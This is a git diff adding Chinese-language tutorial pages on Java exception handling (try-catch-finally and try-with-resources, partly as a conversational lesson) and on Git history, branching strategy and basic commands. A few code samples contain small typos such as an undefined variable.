+// 异常处理代码
+}
+```
+
+一个 `try` 块后面可以跟多个 `catch` 块,用来捕获不同类型的异常并做相应的处理,当 try 块中的某一行代码发生异常时,之后的代码就不再执行,而是会跳转到异常对应的 catch 块中执行。
+
+如果一个 try 块后面跟了多个与之关联的 catch 块,那么应该把特定的异常放在前面,通用型的异常放在后面,不然编译器会提示错误。举例来说。
+
+```java
+static void test() {
+ int num1, num2;
+ try {
+ num1 = 0;
+ num2 = 62 / num1;
+ System.out.println(num2);
+ System.out.println("try 块的最后一句");
+ } catch (ArithmeticException e) {
+ // 算术运算发生时跳转到这里
+ System.out.println("除数不能为零");
+ } catch (Exception e) {
+ // 通用型的异常意味着可以捕获所有的异常,它应该放在最后面,
+ System.out.println("异常发生了");
+ }
+ System.out.println("try-catch 之外的代码.");
+}
+```
+
+“为什么 Exception 不能放到 ArithmeticException 前面呢?”三妹问。
+
+“因为 ArithmeticException 是 Exception 的子类,它更具体,我们看到就这个异常就知道是发生了算术错误,而 Exception 比较泛,它隐藏了具体的异常信息,我们看到后并不确定到底是发生了哪一种类型的异常,对错误的排查很不利。”我说,“再者,如果把通用型的异常放在前面,就意味着其他的 catch 块永远也不会执行,所以编译器就直接提示错误了。”
+
+“再给你举个例子,注意看,三妹。”
+
+```java
+static void test1 () {
+ try{
+ int arr[]=new int[7];
+ arr[4]=30/0;
+ System.out.println("try 块的最后");
+ } catch(ArithmeticException e){
+ System.out.println("除数必须是 0");
+ } catch(ArrayIndexOutOfBoundsException e){
+ System.out.println("数组越界了");
+ } catch(Exception e){
+ System.out.println("一些其他的异常");
+ }
+ System.out.println("try-catch 之外");
+}
+```
+
+这段代码在执行的时候,第一个 catch 块会执行,因为除数为零;我再来稍微改动下代码。
+
+```java
+static void test1 () {
+ try{
+ int arr[]=new int[7];
+ arr[9]=30/1;
+ System.out.println("try 块的最后");
+ } catch(ArithmeticException e){
+ System.out.println("除数必须是 0");
+ } catch(ArrayIndexOutOfBoundsException e){
+ System.out.println("数组越界了");
+ } catch(Exception e){
+ System.out.println("一些其他的异常");
+ }
+ System.out.println("try-catch 之外");
+}
+```
+
+“我知道,二哥,第二个 catch 块会执行,因为没有发生算术异常,但数组越界了。”三妹没等我把代码运行起来就说出了答案。
+
+“三妹,你说得很对,我再来改一下代码。”
+
+```java
+static void test1 () {
+ try{
+ int arr[]=new int[7];
+ arr[9]=30/1;
+ System.out.println("try 块的最后");
+ } catch(ArithmeticException | ArrayIndexOutOfBoundsException e){
+ System.out.println("除数必须是 0");
+ }
+ System.out.println("try-catch 之外");
+}
+```
+
+“当有多个 catch 的时候,也可以放在一起,用竖划线 `|` 隔开,就像上面这样。”我说。
+
+“这样不错呀,看起来更简洁了。”三妹说。
+
+`finally` 块的语法也不复杂。
+
+```java
+try {
+ // 可能发生异常的代码
+}catch {
+ // 异常处理
+}finally {
+ // 必须执行的代码
+}
+```
+
+在没有 `try-with-resources` 之前,finally 块常用来关闭一些连接资源,比如说 socket、数据库链接、IO 输入输出流等。
+
+```java
+OutputStream osf = new FileOutputStream( "filename" );
+OutputStream osb = new BufferedOutputStream(opf);
+ObjectOutput op = new ObjectOutputStream(osb);
+try{
+ output.writeObject(writableObject);
+} finally{
+ op.close();
+}
+```
+
+“三妹,注意,使用 finally 块的时候需要遵守这些规则。”
+
+- finally 块前面必须有 try 块,不要把 finally 块单独拉出来使用。编译器也不允许这样做。
+- finally 块不是必选项,有 try 块的时候不一定要有 finally 块。
+- 如果 finally 块中的代码可能会发生异常,也应该使用 try-catch 进行包裹。
+- 即便是 try 块中执行了 return、break、continue 这些跳转语句,finally 块也会被执行。
+
+“真的吗,二哥?”三妹对最后一个规则充满了疑惑。
+
+“来试一下就知道了。”我说。
+
+```java
+static int test2 () {
+ try {
+ return 112;
+ }
+ finally {
+ System.out.println("即使 try 块有 return,finally 块也会执行");
+ }
+}
+```
+
+来看一下输出结果:
+
+```
+即使 try 块有 return,finally 块也会执行
+```
+
+“那,会不会有不执行 finally 的情况呀?”三妹很好奇。
+
+“有的。”我斩钉截铁地回答。
+
+- 遇到了死循环。
+- 执行了 `System. exit()` 这行代码。
+
+`System.exit()` 和 `return` 语句不同,前者是用来退出程序的,后者只是回到了上一级方法调用。
+
+“三妹,来看一下源码的文档注释就全明白了!”
+
+
+
+至于参数 status 的值也很好理解,如果是异常退出,设置为非 0 即可,通常用 1 来表示;如果是想正常退出程序,用 0 表示即可。
+
+“好了,三妹,关于 try-catch-finally 我们就讲到这吧!”我说。
+
+“好的,二哥,已经很清楚了,我很期待下一节能讲 try-with-resources。”哈哈哈哈,三妹已经学会提新要求了,这令我感到非常的开心。
+
+“没问题,下期见~”
diff --git a/docs/exception/try-with-resouces.md b/docs/exception/try-with-resouces.md
new file mode 100644
index 0000000000..1d3e863b7c
--- /dev/null
+++ b/docs/exception/try-with-resouces.md
@@ -0,0 +1,292 @@
+
+“二哥,终于等到你讲 try-with-resouces 了!”三妹夸张的表情让我有些吃惊。
+
+“三妹,不要激动呀!开讲之前,我们还是要来回顾一下 try–catch-finally,好做个铺垫。”我说,“来看看这段代码吧。”
+
+```java
+public class TrycatchfinallyDecoder {
+ public static void main(String[] args) {
+ BufferedReader br = null;
+ try {
+ String path = TrycatchfinallyDecoder.class.getResource("/牛逼.txt").getFile();
+ String decodePath = URLDecoder.decode(path,"utf-8");
+ br = new BufferedReader(new FileReader(decodePath));
+
+ String str = null;
+ while ((str =br.readLine()) != null) {
+ System.out.println(str);
+ }
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ if (br != null) {
+ try {
+ br.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ }
+}
+```
+
+“我简单来解释下。”等三妹看完这段代码后,我继续说,“在 try 块中读取文件中的内容,并一行一行地打印到控制台。如果文件找不到或者出现 IO 读写错误,就在 catch 中捕获并打印错误的堆栈信息。最后,在 finally 中关闭缓冲字符读取器对象 BufferedReader,有效杜绝了资源未被关闭的情况下造成的严重性能后果。”
+
+“在 Java 7 之前,try–catch-finally 的确是确保资源会被及时关闭的最佳方法,无论程序是否会抛出异常。”
+
+三妹点了点头,表示同意。
+
+“不过,这段代码还是有些臃肿,尤其是 finally 中的代码。”我说,“况且,try–catch-finally 至始至终存在一个严重的隐患:try 中的 `br.readLine()` 有可能会抛出 `IOException`,finally 中的 `br.close()` 也有可能会抛出 `IOException`。假如两处都不幸地抛出了 IOException,那程序的调试任务就变得复杂了起来,到底是哪一处出了错误,就需要花一番功夫,这是我们不愿意看到的结果。”
+
+“我来给你演示下,三妹。”
+
+“首先,我们来定义这样一个类 MyfinallyReadLineThrow,它有两个方法,分别是 `readLine()` 和 `close()`,方法体都是主动抛出异常。”
+
+```java
+class MyfinallyReadLineThrow {
+ public void close() throws Exception {
+ throw new Exception("close");
+ }
+
+ public void readLine() throws Exception {
+ throw new Exception("readLine");
+ }
+}
+```
+
+“然后在 `main()` 方法中使用 try-catch-finally 的方式调用 MyfinallyReadLineThrow 的 `readLine()` 和 `close()` 方法。”
+
+```java
+public class TryfinallyCustomReadLineThrow {
+ public static void main(String[] args) throws Exception {
+ MyfinallyReadLineThrow myThrow = null;
+ try {
+ myThrow = new MyfinallyReadLineThrow();
+ myThrow.readLine();
+ } finally {
+ myThrow.close();
+ }
+ }
+}
+```
+
+运行上述代码后,错误堆栈如下所示:
+
+```
+Exception in thread "main" java.lang.Exception: close
+ at com.cmower.dzone.trycatchfinally.MyfinallyOutThrow.close(TryfinallyCustomOutThrow.java:17)
+ at com.cmower.dzone.trycatchfinally.TryfinallyCustomOutThrow.main(TryfinallyCustomOutThrow.java:10)
+```
+
+“看出来问题了吗,三妹?”
+
+“啊?`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了!”
+
+“不错啊,三妹,火眼金睛,的确,这会让我们误以为要调查的目标是 `close()` 方法而不是 `readLine()` 方法——尽管它也是应该怀疑的对象。”
+
+“但有了 try-with-resources 后,这些问题就迎刃而解了。前提条件只有一个,就是需要释放的资源(比如 BufferedReader)实现了 AutoCloseable 接口。”
+
+```java
+try (BufferedReader br = new BufferedReader(new FileReader(decodePath));) {
+ String str = null;
+ while ((str =br.readLine()) != null) {
+ System.out.println(str);
+ }
+} catch (IOException e) {
+ e.printStackTrace();
+}
+```
+
+“你瞧,三妹,finally 块消失了,取而代之的是把要释放的资源写在 try 后的 `()` 中。如果有多个资源(BufferedReader 和 PrintWriter)需要释放的话,可以直接在 `()` 中添加。”
+
+```java
+try (BufferedReader br = new BufferedReader(new FileReader(decodePath));
+ PrintWriter writer = new PrintWriter(new File(writePath))) {
+ String str = null;
+ while ((str =br.readLine()) != null) {
+ writer.print(str);
+ }
+} catch (IOException e) {
+ e.printStackTrace();
+}
+```
+
+“如果想释放自定义资源的话,只要让它实现 AutoCloseable 接口,并提供 `close()` 方法即可。”
+
+```java
+public class TrywithresourcesCustom {
+ public static void main(String[] args) {
+ try (MyResource resource = new MyResource();) {
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
+
+class MyResource implements AutoCloseable {
+ @Override
+ public void close() throws Exception {
+ System.out.println("关闭自定义资源");
+ }
+}
+```
+
+来看一下代码运行后的输出结果:
+
+```
+关闭自定义资源
+```
+
+“好神奇呀!”三妹欣喜若狂,“在 `try ()` 中只是 new 了一个 MyResource 的对象,其他什么也没干,`close()` 方法就执行了!”
+
+“想知道为什么吗?三妹。”
+
+“当然想啊。”
+
+“来看看反编译后的字节码吧。”
+
+```java
+class MyResource implements AutoCloseable {
+ MyResource() {
+ }
+
+ public void close() throws Exception {
+ System.out.println("关闭自定义资源");
+ }
+}
+
+public class TrywithresourcesCustom {
+ public TrywithresourcesCustom() {
+ }
+
+ public static void main(String[] args) {
+ try {
+ MyResource resource = new MyResource();
+ resource.close();
+ } catch (Exception var2) {
+ var2.printStackTrace();
+ }
+
+ }
+}
+```
+
+“啊,原来如此。编译器主动为 try-with-resources 进行了变身,在 try 中调用了 `close()` 方法。”
+
+“是这样的。接下来,我们在 `MyResourceOut` 类中再添加一个 `out()` 方法。”
+
+```java
+class MyResourceOut implements AutoCloseable {
+ @Override
+ public void close() throws Exception {
+ System.out.println("关闭自定义资源");
+ }
+
+ public void out() throws Exception{
+ System.out.println("沉默王二,一枚有趣的程序员");
+ }
+}
+```
+
+“这次,我们在 try 中调用一下 `out()` 方法。”
+
+```java
+public class TrywithresourcesCustomOut {
+ public static void main(String[] args) {
+ try (MyResourceOut resource = new MyResourceOut();) {
+ resource.out();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
+```
+
+“再来看一下反编译的字节码。”
+
+```
+public class TrywithresourcesCustomOut {
+ public TrywithresourcesCustomOut() {
+ }
+
+ public static void main(String[] args) {
+ try {
+ MyResourceOut resource = new MyResourceOut();
+
+ try {
+ resource.out();
+ } catch (Throwable var5) {
+ try {
+ resource.close();
+ } catch (Throwable var4) {
+ var5.addSuppressed(var4);
+ }
+
+ throw var5;
+ }
+
+ resource.close();
+ } catch (Exception var6) {
+ var6.printStackTrace();
+ }
+
+ }
+}
+```
+
+“这次,`catch` 块主动调用了 `resource.close()`,并且有一段很关键的代码 ` var5.addSuppressed(var4)`。”
+
+“这是为了什么呢?”三妹问。
+
+“当一个异常被抛出的时候,可能有其他异常因为该异常而被抑制住,从而无法正常抛出。这时可以通过 `addSuppressed()` 方法把这些被抑制的方法记录下来,然后被抑制的异常就会出现在抛出的异常的堆栈信息中,可以通过 `getSuppressed()` 方法来获取这些异常。这样做的好处是不会丢失任何异常,方便我们进行调试。”我说。
+
+“有没有想到之前的那个例子——在 try-catch-finally 中,`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了。现在有了 try-with-resources,再来看看和 `readLine()` 方法一致的 `out()` 方法会不会被 `close()` 吃掉吧。”
+
+```java
+class MyResourceOutThrow implements AutoCloseable {
+ @Override
+ public void close() throws Exception {
+ throw new Exception("close()");
+ }
+
+ public void out() throws Exception{
+ throw new Exception("out()");
+ }
+}
+```
+
+“调用这 2 个方法。”
+
+```java
+public class TrywithresourcesCustomOutThrow {
+ public static void main(String[] args) {
+ try (MyResourceOutThrow resource = new MyResourceOutThrow();) {
+ resource.out();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
+```
+
+“程序输出的结果如下所示。”
+
+```
+java.lang.Exception: out()
+ at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.out(TrywithresourcesCustomOutThrow.java:20)
+ at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:6)
+ Suppressed: java.lang.Exception: close()
+ at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.close(TrywithresourcesCustomOutThrow.java:16)
+ at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:5)
+```
+
+“瞧,这次不会了,`out()` 的异常堆栈信息打印出来了,并且 `close()` 方法的堆栈信息上加了一个关键字 `Suppressed`,一目了然。”
+
+“三妹,怎么样?是不是感觉 try-with-resouces 好用多了!我来简单总结下哈,在处理必须关闭的资源时,始终有限考虑使用 try-with-resources,而不是 try–catch-finally。前者产生的代码更加简洁、清晰,产生的异常信息也更靠谱。”
+
+“靠谱!”三妹说。
+
+
+
+
diff --git a/docs/git/fenzhi.md b/docs/git/fenzhi.md
new file mode 100644
index 0000000000..74f7880308
--- /dev/null
+++ b/docs/git/fenzhi.md
@@ -0,0 +1,144 @@
+相比同类软件,Git有很多优点。其中很显著的一点,就是版本的分支(branch)和合并(merge)十分方便。
+
+有些传统的版本管理软件,分支操作实际上会生成一份现有代码的物理拷贝,而Git只生成一个指向当前版本(又称"快照")的指针,因此非常快捷易用。
+
+但是,太方便了也会产生副作用。如果你不加注意,很可能会留下一个枝节蔓生、四处开放的版本库,到处都是分支,完全看不出主干发展的脉络。
+
+
+
+
+那有没有一个好的分支策略呢?答案当然是有的。
+
+### 一、主分支Master
+
+首先,代码库应该有一个、且仅有一个主分支。所有提供给用户使用的正式版本,都在这个主分支上发布。
+
+
+
+Git主分支的名字,默认叫做Master。它是自动建立的,版本库初始化以后,默认就是在主分支在进行开发。
+
+### 二、开发分支Develop
+
+主分支只用来发布重大版本,日常开发应该在另一条分支上完成。我们把开发用的分支,叫做Develop。
+
+
+
+这个分支可以用来生成代码的最新隔夜版本(nightly)。如果想正式对外发布,就在Master分支上,对Develop分支进行"合并"(merge)。
+
+Git创建Develop分支的命令:
+
+```
+ git checkout -b develop master
+```
+
+将Develop分支发布到Master分支的命令:
+
+```
+ # 切换到Master分支
+ git checkout master
+
+ # 对Develop分支进行合并
+ git merge --no-ff develop
+```
+
+这里稍微解释一下上一条命令的--no-ff参数是什么意思。默认情况下,Git执行"快进式合并"(fast-farward merge),会直接将Master分支指向Develop分支。
+
+
+
+使用--no-ff参数后,会执行正常合并,在Master分支上生成一个新节点。为了保证版本演进的清晰,我们希望采用这种做法。
+
+
+
+### 三、临时性分支
+
+前面讲到版本库的两条主要分支:Master和Develop。前者用于正式发布,后者用于日常开发。其实,常设分支只需要这两条就够了,不需要其他了。
+
+但是,除了常设分支以外,还有一些临时性分支,用于应对一些特定目的的版本开发。临时性分支主要有三种:
+
+* 功能(feature)分支
+* 预发布(release)分支
+* 修补bug(fixbug)分支
+
+这三种分支都属于临时性需要,使用完以后,应该删除,使得代码库的常设分支始终只有Master和Develop。
+
+接下来,一个个来看这三种"临时性分支"。
+
+**第一种是功能分支**,它是为了开发某种特定功能,从Develop分支上面分出来的。开发完成后,要再并入Develop。
+
+
+
+功能分支的名字,可以采用feature-*的形式命名。
+
+创建一个功能分支:
+```
+ git checkout -b feature-x develop
+```
+
+开发完成后,将功能分支合并到develop分支:
+
+```
+ git checkout develop
+
+ git merge --no-ff feature-x
+```
+
+删除feature分支:
+```
+ git branch -d feature-x
+```
+
+**第二种是预发布分支**,它是指发布正式版本之前(即合并到Master分支之前),我们可能需要有一个预发布的版本进行测试。
+
+预发布分支是从Develop分支上面分出来的,预发布结束以后,必须合并进Develop和Master分支。它的命名,可以采用release-*的形式。
+
+创建一个预发布分支:
+```
+ git checkout -b release-1.2 develop
+```
+确认没有问题后,合并到master分支:
+```
+ git checkout master
+
+ git merge --no-ff release-1.2
+
+ # 对合并生成的新节点,做一个标签
+ git tag -a 1.2
+```
+再合并到develop分支:
+```
+ git checkout develop
+
+ git merge --no-ff release-1.2
+```
+最后,删除预发布分支:
+```
+ git branch -d release-1.2
+```
+**最后一种是修补bug分支**。软件正式发布以后,难免会出现bug。这时就需要创建一个分支,进行bug修补。
+
+修补bug分支是从Master分支上面分出来的。修补结束以后,再合并进Master和Develop分支。它的命名,可以采用fixbug-*的形式。
+
+
+
+创建一个修补bug分支:
+```
+ git checkout -b fixbug-0.1 master
+```
+修补结束后,合并到master分支:
+```
+ git checkout master
+
+ git merge --no-ff fixbug-0.1
+
+ git tag -a 0.1.1
+```
+再合并到develop分支:
+```
+ git checkout develop
+
+ git merge --no-ff fixbug-0.1
+```
+最后,删除"修补bug分支":
+```
+ git branch -d fixbug-0.1
+```
\ No newline at end of file
diff --git a/docs/git/git-qiyuan.md b/docs/git/git-qiyuan.md
new file mode 100644
index 0000000000..75939fd0e9
--- /dev/null
+++ b/docs/git/git-qiyuan.md
@@ -0,0 +1,111 @@
+
+
+Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。
+
+
+
+PS:**为了能够帮助更多的 Java 爱好者,已将《Java 程序员进阶之路》开源到了 GitHub(本篇已收录)。该专栏目前已经收获了 715 枚星标,如果你也喜欢这个专栏,觉得有帮助的话,可以去点个 star,这样也方便以后进行更系统化的学习**:
+
+[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+*每天看着 star 数的上涨我心里非常的开心,希望越来越多的 Java 爱好者能因为这个开源项目而受益,而越来越多人的 star,也会激励我继续更新下去*~
+
+大家都知道,Linux 内核是开源的,参与者众多,到目前为止,共有两万多名开发者给 Linux Kernel 提交过代码。
+
+但在 1991 年到 2002 年期间,Linus 作为项目的管理员并没有借助任何配置管理工具,而是以手工方式通过 patch 来合并大家提交的代码。
+
+倒不是说 Linus 喜欢手工处理,而是因为他对代码版本管理工具非常挑剔,无论是商用的 clearcase,还是开源的 CVS、SVN 都入不了他的法眼。
+
+直到 2002 年,Linus 才相中了一款分布式版本控制系统 BitKeeper,虽然是商用的,但 BitKeeper 愿意让 Linux 社区免费使用,这让 Linus 非常开心和满意。
+
+时间来到 2005 年,由于 BitKeeper 提供的默认接口不能满足 Linux 社区用户的全部需要,一位开发者在未经允许的情况下反编译了 BitKeeper 并利用了未公开的接口,于是 BitKeeper 的著作权拥有者拉里·麦沃伊就气愤地收回了 Linux 社区免费使用的权力。
+
+没办法,Linus 只好自己硬着头皮上了。他对新的版本控制系统制订了若干目标:
+
+- 速度
+- 设计简单
+- 允许成千上万个并行开发的分支
+- 完全分布式
+- 有能力高效管理类似 Linux 内核一样的超大规模项目
+
+结果,令人意想不到的是,Linus 只用了 10 天时间就用 C语言完成了第一个版本,嗯。。神就是神。并且给这个版本起了一个略带嘲讽意味的名字——Git(在英式英语俚语中表示“不愉快的人”)。
+
+源代码的自述文件有进一步的阐述:
+
+>The name "git" was given by Linus Torvalds when he wrote the very first version. He described the tool as "the stupid content tracker" and the name as (depending on your way)
+
+从 Git 的设计上来看,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 只设计了一些给开源社区的黑客们使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。
+
+Linus 在提交了第一个 git commit 后,就向社区发布了 git 工具。当时,社区中有位叫 Junio Hamano 的开发者觉得这个工具很有意思,便下载了代码,结果发现一共才 1244 行代码,这更令他惊奇,也引发了极大的兴趣。Junio 在邮件列表与 Linus 交流并帮助增加了 merge 等功能,而后持续打磨 git,最后 Junio 完全接手了 Git 的维护工作,Linus 则回去继续维护 Linux Kernel 项目。
+
+Junio Hamano 觉得 Linus 设计的这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。
+
+如果选历史上最伟大的一次 Git 代码提交,那一定是这 Git 工具项目本身的第一次代码提交。这次代码提交无疑是开创性的,**如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式**。
+
+如今,Git 已经成为全球软件开发者的标配。
+
+
+
+原本的 Git 只适用于 Unix/Linux 平台,但随着 Cygwin、msysGit 环境的成熟,以及 TortoiseGit 这样易用的GUI工具,Git 在 Windows 平台下也逐渐成熟。
+
+>PS1:Cygwin 的主要目的是通过重新编译,将 POSIX 系统(例如Linux、BSD,以及其他Unix系统)上的软件移植到Windows上。
+
+>PS2:msysGit 前面的 4 个字幕来源于 MSYS 项目,而 MSYS 又源于 MinGW(Minimalist GNU for Windows,最简GNU工具集),通过增加了一个由bash提供的shell环境以及其他相关工具软件,组成了一个最简系统(Minimal System),利用MinGW提供的工具,以及Git针对MinGW的一个分支版本,可以在Windows平台为Git编译出一个原生应用,结合MSYS就组成了msysGit。
+
+Git 和传统的版本控制工具 CVS、SVN 有不小的区别,前者关心的是文件的整体性是否发生了改变,后两者更关心文件内容上的差异。
+
+
+
+
+
+除此之外,Git 更像是一个文件系统,每个使用它的主机都可以作为版本库,并且不依赖于远程仓库而离线工作。开发者在本地就有历史版本的副本,因此就不用再被远程仓库的网络传输而束缚。
+
+Git 中的绝大多数操作都只需要访问本地文件和资源,一般不需要来自网络上其它计算机的信息。因为在本地磁盘上就有项目的完整历史,所以 Git 的大部分操作看起来就像是在瞬间完成的。
+
+在多人协作的情况下,Git 可以将本地仓库复制给其他开发者,那些发生改变的文件可以作为新增的分支被导入,再与本地仓库的进行分支合并。
+
+如果你希望后面的学习更顺利,请记住 Git 这三种状态:
+
+- 已提交(committed),表示数据已经安全的保存在本地数据库中
+- 已修改(modified),表示修改了文件,但还没保存到数据库中
+- 已暂存(staged),表示对一个已修改文件的当前版本做了标记,使之包含在下次提交的快照中
+
+由此引入了 Git 的三个工作区域:
+
+- Git 仓库,用来保存项目的元数据和对象数据库
+- 工作目录,对项目的某个版本进行独立提取
+- 暂存区域,保存了下次将提交的文件列表信息,也可以叫“索引”
+
+Git 的工作流程是这样的:
+
+
+
+
+- 在工作目录中修改文件
+- 暂存文件,将文件的快照放入暂存区域
+- 提交更新,找到暂存区域的文件,将快照永久性存储到 Git 仓库目录
+
+接下来,我们来看一下 **Git 的安装**,Linux 和 Windows 系统的安装大家可以到 Git 官网上查看安装方法,上面讲的非常详细。
+
+>https://git-scm.com/downloads
+
+
+
+
+我个人使用的 macOS 系统,可以直接使用 `brew install git` 命令安装,非常方便。
+
+
+
+安装成功后,再使用 `git --version` 就可以查看版本号了,我本机上安装的是 2.23.0 版本。
+
+----
+
+参考资料:
+
+>维基百科:https://zh.wikipedia.org/wiki/Git
+>ProGit:https://www.progit.cn/
+>hutusi:[改变世界的一次代码提交](https://mp.weixin.qq.com/s/gM__sQPILkAKWsMejOO8cA)
+
+
+
+
diff --git a/docs/git/jibenshiyong.md b/docs/git/jibenshiyong.md
new file mode 100644
index 0000000000..5e874e7263
--- /dev/null
+++ b/docs/git/jibenshiyong.md
@@ -0,0 +1,218 @@
+对于新手来说,Git 操作确实容易给代码的版本库带来一些不必要的混乱,毕竟大学的时候,学习的重点在编程语言上,在计算机基础上。可一旦参加了工作,就必须得在代码版本库上狠下一番功夫了,毕竟要多人运动啊,不,多人协作啊。
+
+
+### 一、创建仓库
+
+仓库,也就是 repository,可以简单理解为一个目录,这个目录里面的所有文件都将被 Git 管理起来,每个文件的一举一动,都将被 Git 记录下来,以便在任何时刻进行追踪和回滚。
+
+新建一个文件夹,比如说 testgit,然后使用 `git init` 命令就可以把这个文件夹初始化为 Git 仓库了。
+
+
+
+
+初始化Git 仓库成功后,可以看到多了一个 .git 的目录,没事不要乱动,免得破坏了 Git 仓库的结构。
+
+接下来,我们来新增一个文件 readme.txt,内容为“老铁,记得给二哥三连啊”,并将其提交到 Git 仓库。
+
+第一步,使用 `git add` 命令将新增文件添加到暂存区。
+
+第二步,使用 `git commit` 命令告诉 Git,把文件提交到仓库。
+
+
+
+可以使用 `git status` 来查看是否还有文件未提交。
+
+也可以在文件中新增一行内容“传统美德不能丢,记得点赞哦~”,再使用 `git status` 来查看结果。
+
+
+
+如果想查看文件到底哪里做了修改,可以使用 `git diff` 命令:
+
+
+
+确认修改的内容后,可以使用 `git add` 和 `git commit` 再次提交。
+
+### 二、版本回滚
+
+再次对文件进行修改,追加一行内容为:“xxx,我爱你❤”,并且提交到 Git 仓库。
+
+现在我已经对 readme.txt 文件做了三次修改了。可以通过 `git log` 命令来查看历史记录:
+
+
+
+也可以通过 `gitk` 这个命令来启动图形化界面来查看版本历史。
+
+
+
+
+如果想回滚的话,比如说回滚到上一个版本,可以执行以下两种命令:
+
+1)`git reset --hard HEAD^`,上上个版本就是 `git reset --hard HEAD^^`,以此类推。
+
+2)`git reset --hard HEAD~100`,如果回滚到前 100 个版本,用这个命令比上一个命令更方便。
+
+
+
+那假如回滚错了,想恢复,不记得版本号了,可以先执行 `git reflog` 命令查看版本号:
+
+
+
+然后再通过 `git reset --hard` 命令来恢复:
+
+
+
+### 三、工作区和暂存区的区别
+
+工作区和暂存区的概念其实在前面的章节里强调过了,但考虑到有些小伙伴在 `git add` 和 `git commit` 命令之间仍然有一些疑惑,我们这里就再强调一次——学习知识就是这样,只有不厌其烦地重复,才能真正地理解和掌握。
+
+1)**工作区**,比如说前面提到的 testgit 目录就属于工作区,我们操作的 readme.txt 文件就放在这个里面。
+
+2)**暂存区**,隐藏目录 .git 不属于工作区,它(Git 仓库)里面存了很多东西,其中最重要的就是暂存区。
+
+Git 在提交文件的时候分两步,第一步 `git add` 命令是把文件添加到暂存区,第二步 `git commit` 才会把暂存区的所有内容提交到 Git 仓库中。
+
+“**为什么要先 add 才能 commit 呢?**”
+
+最直接的原因就是Linus 搞了这个“暂存区”的概念。那为什么要搞这个概念呢?没有暂存区不行吗?
+
+嗯,要回答这个问题,我们就需要追本溯源了。
+
+在 Git 之前, SVN 是代码版本管理系统的集大成者。SVN 比之前的 CVS 更优秀的一点是,每次的提交可以由多个文件组成,并且这次提交是原子性的,要么全部成功,要么全部失败。
+
+原子性带来的好处是显而易见的,这使得我们可以把项目整体还原到某个时间点,就这一点,SVN 就完虐 CVS 这些代码版本管理系统了。
+
+
+
+Git 作为逼格最高的代码版本管理系统,自然要借鉴 SVN 这个优良特性的。但不同于 SVN 的是,Git 一开始搞的都是命令行,没有图形化界面,如果想要像 SVN 那样一次性选择多个文件或者不选某些文件(见上图),还真特喵的是个麻烦事。
+
+对于像 Linus 这种天才级选手来说,图形化界面无疑是 low 逼,可命令行在这种情况下又实在是麻烦~
+
+嗯,怎么办呢?
+
+神之所以为神,就是他能在遇到问题的时候想到完美的解决方案——搞个**暂存区**不就完事了?
+
+暂存区可以随意地将各种文件的修改放进去,只需要通过 `git add` 这种简单的命令就可以精心地挑选要提交哪些文件了,然后再一次性(原子性)的 `git commit` 到版本库,所有的问题都迎刃而解嘛。
+
+我们在 testgit 目录下再新增一个文件 readyou.txt,内容为“二哥,我要和你约饭~~~”;并且在 readme.txt 文件中再追加一行内容“点赞、在看、留言、转发一条龙服务~”。
+
+我们先用 `git status` 命令查看一下状态,再用 `git add` 将文件添加到暂存区,最后再用 `git commit` 一次性提交到 Git 仓库。
+
+
+
+### 四、撤销修改
+
+现在,我在 readyou.txt 文件中追加了一行内容:“二哥,我想和你约会~~~”。在我想要提交的时候,突然发现追加的内容有误,我得恢复到以前的版本,该怎么办呢?
+
+1)我知道要修改的内容,直接修改,然后 add 和 commit 覆盖。
+
+2)我忘记要修改哪些内容了,通过 `git reset -- hard HEAD` 恢复到上一个版本。
+
+还有其他办法吗?
+
+答案当然是有了,其实在我们执行 `git status` 命令查看 Git 状态的时候,结果就提示我们可以使用 `git restore` 命令来撤销这次操作的。
+
+
+
+那其实在 git version 2.23.0 版本之前,是可以通过 `git checkout` 命令来完成撤销操作的。
+
+
+
+checkout 可以创建分支、导出分支、切换分支、从暂存区删除文件等等,一个命令有太多功能就容易让人产生混淆。2.23.0 版本改变了这种混乱局面,git switch 和 git restore 两个新的命令应运而生。
+
+switch 专注于分支的切换,restore 专注于撤销修改。
+
+
+
+### 五、远程仓库
+
+Git 是一款分布式版本控制系统,所以同一个 Git 仓库,可以分布到不同的机器上。一开始,只有一台机器和一个原始版本库,往后去,别的机器就可以从这台机器上拷贝原始版本,就像黑客帝国里的那个特工史密斯一样,没有任何区别。
+
+这也是 Git 比集中式版本控制系统 SVN 特别的地方之一。
+
+我们可以自己搭建一台每天 24 小时可以运转的 Git 服务器,然后其他人就从这台“服务器”中拷贝就行了。不过,因为 GitHub 的存在,自主搭建 Git 服务器这个步骤就可以省了。
+
+从名字上就可以看得出来,GitHub 是用来提供 Git 仓库托管服务的,我们**只需要注册一个 GitHub 账号**,就可以免费获取一台每天可以运转 24 小时的 Git 远程服务器。
+
+那其实在 GitHub 上有对应的中文帮助文档,来介绍如何通过 SSH 协议将本机和 GitHub 链接起来,从而不必在每次访问时提供用户名和密码。
+
+>https://docs.github.com/cn/authentication/connecting-to-github-with-ssh/about-ssh
+
+**第一步,通过 `ls -al ~/.ssh` 命令检查 SSH 密钥是否存在**
+
+
+
